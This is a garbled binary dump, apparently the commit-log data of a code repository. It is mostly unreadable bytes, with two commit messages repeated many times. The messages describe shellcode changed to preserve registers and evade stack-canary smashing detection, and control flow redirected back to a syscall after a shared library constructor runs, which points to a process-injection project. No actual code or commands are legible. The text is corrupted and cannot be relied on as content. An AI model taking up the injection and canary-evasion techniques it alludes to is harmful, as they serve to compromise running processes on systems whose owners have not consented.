<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> y4<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> j3<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> [2<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> L1<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> =0<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> ./<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> .<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> -<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> ,<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>*<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
